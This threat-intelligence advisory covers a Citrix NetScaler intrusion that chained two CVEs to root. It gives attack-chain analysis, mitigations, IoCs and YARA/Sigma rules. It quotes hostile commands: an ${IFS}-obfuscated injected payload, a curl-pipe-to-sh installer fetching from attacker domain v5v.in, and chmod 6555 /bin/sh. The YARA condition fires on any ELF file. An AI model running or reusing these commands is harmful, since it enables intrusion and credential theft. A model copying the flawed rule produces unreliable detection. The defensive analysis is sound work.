WHIPSHOT actors chain CVE-2026-88771 and CVE-2026-88779 for root access on Citrix NetScaler

1. Executive summary

Rapid7 has documented a Citrix NetScaler ADC compromise in which attackers chained CVE-2026-88771 (CVSS 9.5 critical, CWE-20, in CISA KEV since 2026-09-27, EPSS 1%) with CVE-2026-88779 (CVSS 8.7 high, CWE-119, in CISA KEV since 2026-10-04, EPSS 1%) to reach root on an internet-facing 14.1 build. The SAML parsing flaw supplied the crash and reboot condition; the log-poisoning flaw supplied attacker-controlled command text that the post-reboot crash handler executed as root. The operator then installed cookie-authenticated PHP web shells behind CSS-looking Apache aliases, made /bin/sh setuid, and held access through cron, rc.netscaler, watchdog loops, an outbound reverse agent and an HTTP-fronted TCP proxy, with HA failover logic to survive node loss. Configuration, historical configurations and key material were staged and at least one archive was downloaded through the web interface. EMEA financial services clients running NetScaler Gateway or AAA virtual servers with SAML enabled are the exposed population, and the appliance is being used as a privileged vantage point to map LDAP/AD, management services and VMware vCenter, so a patched appliance is not evidence of a clean one.

2. Regulatory framing

3. Technical analysis & attack chain

The chain is confirmed across independent logs and filesystem timestamps: the injected command, the nsaaad crash loop, the Pitboss reboot, post-reboot handler activity and root payload execution correlate, and the first implant files were created in the same second as the first logged post-reboot execution.

1. The attacker sent an authentication request with attacker-controlled text in the username field, in the form pitboss PPE unexpectedly died NSPPE;fetch${IFS}-qo${IFS}/v ...;sh${IFS}/v;#. The ${IFS} substitution replaces spaces so the command survives field splitting.
2. CVE-2026-88779, the SAML-parsing crash, supplied the crash and reboot condition. CVE-2026-88771, the pre-authentication log-poisoning issue, supplied the command text that was retained through the crash.
3. The injected text caused or immediately preceded repeated nsaaad crashes and a Pitboss reboot.
4. After reboot, the NetScaler call-home crash handler processed the retained text and executed the payload as root. The crash-handling path acted as a delayed, repeatable execution trampoline; the chaining let the operator skip the roughly 24-hour wait for the injected payload to run on its own.
5. The operator installed cookie-authenticated PHP web shells and set /bin/sh to mode 6555, making it setuid and setgid so the reduced-privilege Apache process could obtain effective root.
6. Persistence was established through cron, rc.netscaler, watchdog loops, an outbound reverse agent and an HTTP-fronted TCP proxy, with HA synchronisation and forced failover to keep the implant active across the appliance pair.
7. A Go reconnaissance tool mapped internal routes, DNS, LDAP/AD, management services and VMware vCenter.
8. NetScaler configuration, historical configurations, HTTP configuration, diagnostics and system backup material were staged and uploaded. A separate archive staged in the web root was downloaded through an HTTP 200 response whose size matched the staged archive.

The initial execution repeated. The appliance recorded repeated Pitboss-initiated reboots and repeated call-home handler executions over several days, with stages re-executed from multiple infrastructure addresses. That let the operator refresh persistence, deploy new components and continue collection after restarts.

Payload evolution. Two .slap droppers were recovered: 17447d.sh (sha256 a0ba4e1ad622d9c3d950b4156d4430812d05bee216ab22c3804a9f7a80535556) and the later 1.sh (sha256 6774bfed99da38cec82e721de4bd64a67db7840efadcc71e7df02eb6f0a03c44). The later version added reverse-agent functionality, relay installation, HA recovery, stage tracking and structured upload logging. A separate nsvmd installer branch, 2.sh / r.sh (sha256 56a892d80096a9db4ca473a9c3109729c60a5ba901d6ba65948bdb1f4a6fb186), was delivered with curl${IFS}-sSLk${IFS}https://v5v.in/r.sh?k=<token>|sh and started the agent with nsvmd -server v5v.in:443 -sni c.v5v.in.

Web shells. Three copies were placed in the LogonPoint custom web directory as .slap.receiver, .ctxs.receiver and receiver.deb, with backups under /nsconfig/.slap/. Commands arrived through a cookie and output returned in an HTTP 404 response body, so successful command requests resemble missing resources. Apache configuration was modified to execute .deb files as PHP, enable PHP execution, map CSS-looking URLs to .slap.receiver, accept randomised hexadecimal CSS suffixes and preserve an attacker backup of the HTTP configuration. The aliases were /logon/LogonPoint/custom/receiver.v2.min.css and /logon/LogonPoint/custom/receiver.v2.min.<hex>.css, both resolving to /var/netscaler/logon/LogonPoint/custom/.slap.receiver.

Tunnelling and C2. agent.pl created a loopback listener on an ephemeral port, recorded it in /tmp/.uxdport, used /tmp/.uxdlock for process coordination, and supported ping, open, push, pull, exch and close. The open operation accepted arbitrary destination hosts and ports, turning the appliance into an internal TCP pivot. The Python components (/var/tmp/.ux/slapshot.py, /var/tmp/.ux/whipd.py) provided a local session manager and HTTP front end that accepted base64 commands in an HTTP header and returned tunnel responses in 404 bodies. The reverse agent polled an external command endpoint every 15 seconds, ran the received command with /bin/sh -c, and returned output over HTTP PUT, so no inbound connection to the appliance was needed.

HA manipulation. The framework ran sync HA files all and force HA failover to copy implant files to the peer and make the implanted node active.

Reconnaissance. A stripped, statically linked FreeBSD Go binary was recovered from the .slap directory. It parses local interfaces and routes, discovers gateway prefixes, expands subnets, discovers DNS servers and domains, hunts DNS zone transfers, performs LDAP anonymous bind and RootDSE queries and LDAP searches, checks management services, inspects TLS certificates and classifies VMware vCenter. vcscan-agent.sh downloaded and validated the scanner as scanner-freebsd-amd64, installed it as /nsconfig/.slap/vc, and ran two stages: broad scanning of RFC1918 space, then management-focused scanning of ranges derived from DNS and LDAP results. Results were written to files such as vcpersist-<token>_dns_candidates.tsv, vcpersist-<token>_dns_ldap_verified.tsv and vcpersist-<token>_vcenter_verified_all.txt, then compressed and uploaded.

Second payload branch. The FreeBSD Go agent nsvmd was injected under /flash/.nsvm/nsvmd with a 45-second watchdog (/flash/.nsvm/watchdog.sh), boot persistence through /nsconfig/rc.netscaler, five-minute and daily cron persistence (/flash/.nsvm/guard.sh, /flash/.nsvm/restart.sh), and chflags uchg to mark the binary immutable. Logs sat in /flash/.nsvm/.agent.log and /flash/.nsvm/.wd.log.

Collection. Staged material covered /nsconfig/, ns.conf.0 through ns.conf.4, ns.conf.bak, /etc/httpd.conf, system backup archives and implant diagnostics. That archive can contain encrypted credentials, LDAP/RADIUS bind information, administrative configuration, SSL private keys and key-encryption material. The collection logic uploaded manifests and stage logs and retried failed uploads.

Attribution. Rapid7 states the activity overlaps with public reporting on the WHIPSHOT/SLAPSHOT NetScaler campaign. Neither WHIPSHOT nor SLAPSHOT has a MITRE ATT&CK profile, so the attribution is unconfirmed. The overlap rests on tooling and tradecraft similarity, not on infrastructure shared with a named actor. Treat it as a cluster label, not an identity.

Confidence. The intrusion narrative, file paths, hashes and network indicators come from a single Rapid7 investigation. The CVE identifiers are corroborated by CISA's KEV catalogue and by Citrix and CISA advisories cited in the source. The specific chain, the HA logic and the reconnaissance tooling are single-sourced; verify before enforcing blocks on the network indicators.

4. Mitigation & containment

P1 within 24 hours

• Patch every NetScaler ADC and Gateway appliance to the fixed builds for CVE-2026-88779 and CVE-2026-88771, and verify the earlier CTX697096 fixes are in place. Prioritise appliances configured as a Gateway or AAA virtual server with SAML authentication enabled.
• Treat any internet-facing appliance that was vulnerable during the campaign window as potentially compromised. Collect volatile evidence before rebooting or rebuilding; a reboot destroys the crash-handler state the chain depends on.
• Inspect both nodes of every HA pair. The implant synchronises to the peer and forces failover, so a clean active node does not mean a clean pair.
• Hunt for /nsconfig/.slap/, /nsconfig/.relay/ and /flash/.nsvm/, and for the backup web shell copies under /nsconfig/.slap/.
• Check /bin/sh permissions. Mode 6555 is the attacker's setuid/setgid change and should never be present.
• Review Apache configuration for unauthorised PHP handlers, .deb executed as PHP, and CSS-looking aliases under /logon/LogonPoint/custom/.
• Search logs for nsaaad crashes, Pitboss reboots and ns_monuploadd_err.pl execution records.
• Block outbound traffic to the network indicators in §5 at the perimeter and from the appliance management segment.
• Rotate every credential and key exposed through /nsconfig: LDAP and RADIUS bind credentials, administrative accounts, SSL private keys and key-encryption material.

P2 within 72 hours

• Review outbound traffic from NetScaler source addresses for internal scanning of RFC1918 space, LDAP (389/636), DNS zone transfers and vCenter management ports. The Go scanner runs broad then targeted passes, so look for both.
• Query vCenter and management-plane logs for authentication or enumeration from the appliance's address during the exposure window.
• Run Citrix's indicator-of-compromise script on exposed appliances. A clean result is not definitive proof of integrity.
• Where an immediate upgrade is not possible, apply Citrix's interim mitigation and put a WAF rule in front of the authentication endpoint. A WAF is reactive and does not cover the next variant.

P3 within 7 days

• Remove internet reachability from authentication portals that do not require it, and restrict origin connections so the gateway cannot be reached directly, bypassing access controls and WAF inspection.
• Add detection for the file paths, hashes and process behaviour in §6 to EDR and file-integrity monitoring on appliance storage.
• Confirm that HA failover events are alerted and reviewed, so an attacker-forced failover is not mistaken for routine availability handling.

5. Indicators of compromise

The network indicators are single-sourced from one Rapid7 investigation and several are labelled only as payload delivery. Verify against your own telemetry before blocking, and expect the operator to rotate infrastructure.

sha256  a0ba4e1ad622d9c3d950b4156d4430812d05bee216ab22c3804a9f7a80535556
sha256  6774bfed99da38cec82e721de4bd64a67db7840efadcc71e7df02eb6f0a03c44
sha256  56a892d80096a9db4ca473a9c3109729c60a5ba901d6ba65948bdb1f4a6fb186
sha256  8e8b9532ce40eacfe1b4cf2b11241878b70b910aabd90b453b1460df19b51a4d
sha256  eaf0086237879bbaac00a5874c0e2ff84deede1ba10e6b706e2288fd3a31cdde
sha256  ffe052fc50271e7739d458b155df790438776032bfd125b974735e1dd9c0b138
domain  v5v[.]in
ipv4  209[.]74[.]64[.]192
ipv4  192[.]159[.]99[.]139
ipv4  213[.]209[.]159[.]55
ipv4  179[.]60[.]146[.]241
ipv4  45[.]92[.]1[.]17
ipv4  62[.]133[.]62[.]80
ipv4  46[.]151[.]182[.]18
ipv4  132[.]243[.]166[.]140
ipv4  199[.]233[.]217[.]13
ipv4  31[.]56[.]197[.]72
ipv4  64[.]94[.]85[.]67
ipv4  130[.]94[.]20[.]222
ipv4  173[.]231[.]39[.]244

Behavioural indicators

6. Detection

The strings below are taken from the artefacts Rapid7 recovered: the injected command text, the installer command line, the agent launch arguments, the framework paths and the web shell filenames. They detect the implant on disk and in process arguments, not reporting about it.

rule NetScaler_Slap_Framework_Implant
{
    meta:
        author = "Adverse Trace"
        date = "2026-10-19"
        reference = "https://www.rapid7.com/blog/post/ra-netscaler-intrusions-chaining-cve-2026-88771-and-cve-2026-88779"
        description = "Detects .slap framework scripts, web shell receivers and nsvmd installer artefacts on Citrix NetScaler storage"
    strings:
        $s1 = "/nsconfig/.slap/" ascii
        $s2 = "/nsconfig/.relay/" ascii
        $s3 = "/flash/.nsvm/nsvmd" ascii
        $s4 = "/flash/.nsvm/watchdog.sh" ascii
        $s5 = "/flash/.nsvm/guard.sh" ascii
        $s6 = "/flash/.nsvm/restart.sh" ascii
        $s7 = ".slap.receiver" ascii
        $s8 = ".ctxs.receiver" ascii
        $s9 = "receiver.deb" ascii
        $s10 = "vcscan-agent.sh" ascii
        $s11 = "scanner-freebsd-amd64" ascii
        $s12 = "vcpersist-" ascii
        $s13 = "/tmp/.uxdport" ascii
        $s14 = "/tmp/.uxdlock" ascii
        $s15 = "/var/tmp/.ux/slapshot.py" ascii
        $s16 = "/var/tmp/.ux/whipd.py" ascii
        $s17 = "nsvmd -server v5v.in:443 -sni c.v5v.in" ascii
        $s18 = "chflags uchg" ascii
        $s19 = "sync HA files all" ascii
        $s20 = "force HA failover" ascii
        $s21 = "chmod 6555 /bin/sh" ascii
        $s22 = "pitboss PPE unexpectedly died NSPPE" ascii
    condition:
        uint32(0) == 0x464c457f or 3 of them
}

title: NetScaler .slap and nsvmd implant execution
id: 8f3c2a71-4d6e-4b0a-9c15-7e2d1a6b4f90
status: experimental
description: Detects process command lines and file creation associated with the .slap framework and nsvmd agent on Citrix NetScaler
references:

    - https://www.rapid7.com/blog/post/ra-netscaler-intrusions-chaining-cve-2026-88771-and-cve-2026-88779
author: Adverse Trace
date: 2026-10-19
logsource:
    category: process_creation
    product: linux
detection:
    selection_agent:
        CommandLine|contains:

            - 'nsvmd -server v5v.in:443 -sni c.v5v.in'
            - 'curl${IFS}-sSLk${IFS}https://v5v.in/r.sh'
    selection_paths:
        CommandLine|contains:

            - '/nsconfig/.slap/'
            - '/nsconfig/.relay/'
            - '/flash/.nsvm/'
            - '/var/tmp/.ux/'
    selection_perm:
        CommandLine|contains:

            - 'chmod 6555 /bin/sh'
            - 'chflags uchg'
    selection_ha:
        CommandLine|contains:

            - 'sync HA files all'
            - 'force HA failover'
    condition: 1 of selection_*
falsepositives:

    - Legitimate HA administration commands run from an approved change window
level: high

Also alert on file creation under /nsconfig/.slap/, /nsconfig/.relay/ and /flash/.nsvm/, on any change to /bin/sh permissions, and on new Apache handlers or aliases under /logon/LogonPoint/custom/.

CVE assessment

2 referenced CVEs — 2 actively exploited (CISA KEV), 1 critical (CVSS ≥ 9.0)

7. Sources

• Rapid7, "NetScaler intrusions chaining CVE-2026-88771 and CVE-2026-88779", https://www.rapid7.com/blog/post/ra-netscaler-intrusions-chaining-cve-2026-88771-and-cve-2026-88779, 2026-10-19
• Rapid7, "ETR: Zero-day exploitation of Citrix NetScaler ADC and Gateway CVE-2026-88771 and CVE-2026-88772", https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/
• CISA, "Critical zero-day vulnerabilities exploited in Citrix NetScaler ADC and Gateway", https://www.cisa.gov/news-events/alerts/2026/09/27/critical-zero-day-vulnerabilities-exploited-citrix-netscaler-adc-gateway, 2026-09-27
• Unit 42, "NetScaler zero-days exploited", https://unit42.paloaltonetworks.com/netscaler-zero-days-exploited/
• CVE.org, CVE-2026-88771, https://www.cve.org/CVERecord?id=CVE-2026-88771
• CVE.org, CVE-2026-88779, https://www.cve.org/CVERecord?id=CVE-2026-88779
• The Register, "Citrix NetScaler security snafus get even worse amid more 0-day reports", https://www.theregister.com/security/2026/10/05/citrix-netscaler-security-snafus-get-even-worse-amid-more-0-day-reports/5301232, 2026-10-05
• Cloudflare, "Beyond the patch: Protecting your NetScaler gateway against future vulnerabilities", https://blog.cloudflare.com/protect-your-netscaler-gateway/
• The Hacker News, "Attackers exploit NetScaler flaw for root access, deploy WHIPSHOT and SLAPSHOT", https://thehackernews.com/2026/09/attackers-exploit-netscaler-flaw-for.html
• The Hacker News, "Citrix NetScaler post-exploitation payload creates superuser, maps web shell to CSS-like URLs", https://thehackernews.com/2026/10/citrix-netscaler-post-exploitation.html

8. Adverse Trace position

Adverse Trace assesses this as a critical-severity intrusion pattern for any EMEA financial services client with an internet-facing NetScaler Gateway or AAA virtual server using SAML. Both CVEs are in CISA KEV (CVE-2026-88771 added 2026-09-27, CVE-2026-88779 added 2026-10-04), and the chain gives an unauthenticated attacker root on an appliance that holds LDAP bind credentials, SSL private keys and a network position in front of internal identity and virtualization systems. The WHIPSHOT and SLAPSHOT labels carry no MITRE ATT&CK profile, so we treat the attribution as unconfirmed and do not attribute this intrusion to a named actor. The intrusion detail is single-sourced to Rapid7; the CVE identifiers and KEV status are corroborated by CISA. We will pull the Rapid7 Intelligence Hub rules and IoCs referenced in the report and test them against client telemetry, and we will contact clients running NetScaler in the authentication path to confirm patch state, HA pair inspection and credential rotation from /nsconfig. Clients who cannot confirm a clean appliance should assume configuration and key material exposure and begin DORA Art. 18 classification now, before any rebuild.

Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.